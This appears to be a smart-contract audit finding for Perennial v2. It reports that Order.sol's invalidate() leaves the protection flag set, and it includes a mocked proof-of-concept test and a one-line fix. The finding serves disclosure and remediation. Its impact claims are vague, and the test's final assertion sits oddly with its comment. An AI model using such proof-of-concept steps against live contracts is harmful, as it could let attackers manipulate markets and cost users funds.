Glorious White Albatross
Medium
External attacker can cause the bypass position protection checks after order invalidation, making the order status inconsistent
A missing protection flag reset in the Order invalidation logic will cause an inconsistent state issue for market participants as malicious actors can bypass position protection checks after order invalidation.
In OrderLib.sol the invalidate()
function zeroes out positions but fails to reset the protection flag, leading to an inconsistent state where an order can be both invalidated and protected simultaneously.
The relevant code : https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/types/Order.sol#L87-L92
- A user needs to have a protected order (typically through liquidation)
No
- Attacker waits for a protected order to be created (e.g., through liquidation)
- When the oracle reports an invalid price: The order gets invalidated through
invalidate()
function andPositions
are zeroed but protection flag remains set - The attacker can now bypass certain invariant checks that depend on protection status
- This allows them to execute operations that should be blocked for protected orders
- The market contract enters an inconsistent state where protection mechanisms can be circumvented
Protected orders can be manipulated in ways that violate the intended market safety mechanisms Market invariants is violated as well.
describe('#poc', async () => {
beforeEach(async () => {
await market.connect(owner).updateParameter(marketParameter)
dsu.transferFrom.whenCalledWith(user.address, market.address, COLLATERAL.mul(1e12)).returns(true)
dsu.transferFrom.whenCalledWith(userB.address, market.address, COLLATERAL.mul(1e12)).returns(true)
})
it('invalidation vulnerability with protected orders', async () => {
// 1. Setup maker position
await market.connect(userB)['update(address,uint256,uint256,uint256,int256,bool)'](
userB.address,
POSITION,
0,
0,
COLLATERAL,
false
)
// 2. Create a protected order through liquidation
oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2, INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])
oracle.request.whenCalledWith(user.address).returns()
await settle(market, userB)
dsu.transfer.whenCalledWith(liquidator.address, EXPECTED_LIQUIDATION_FEE.mul(1e12)).returns(true)
dsu.balanceOf.whenCalledWith(market.address).returns(COLLATERAL.mul(1e12))
await market.connect(liquidator)['update(address,uint256,uint256,uint256,int256,bool)'](
userB.address,
0,
0,
0,
0,
true // Mark as protected
)
// 3. Move to next oracle version with invalid price
const INVALID_ORACLE_VERSION = {
...ORACLE_VERSION_3,
valid: false
}
oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([INVALID_ORACLE_VERSION, INITIALIZED_ORACLE_RECEIPT])
oracle.status.returns([INVALID_ORACLE_VERSION, ORACLE_VERSION_4.timestamp])
oracle.request.whenCalledWith(userB.address).returns()
// 4. Process the order - this should invalidate it but protection remains
await settle(market, userB)
// 5. Verify the vulnerability
const order = await market.pendingOrders(userB.address, 2)
expect(order.maker).to.eq(0) // Position should be zeroed
expect(order.protection).to.eq(1) // Protection flag should be cleared but isn't
// 6. This inconsistent state allows bypassing certain invariant checks
await market.connect(userB)['update(address,uint256,uint256,uint256,int256,bool)'](
userB.address,
POSITION,
0,
0,
0,
false
)
// The operation succeeds when it should have failed due to protection status
const finalOrder = await market.pendingOrders(userB.address, 3)
expect(finalOrder.maker).to.eq(POSITION) // Should not be able to open position while protected
})
})
Add protection flag reset in the invalidate()
function:
function invalidate(Order memory self, Guarantee memory guarantee) internal pure {
self.protection = 0; // Reset protection flag
(self.makerReferral, self.takerReferral) =
(UFixed6Lib.ZERO, guarantee.orderReferral);
// ... rest of the function
}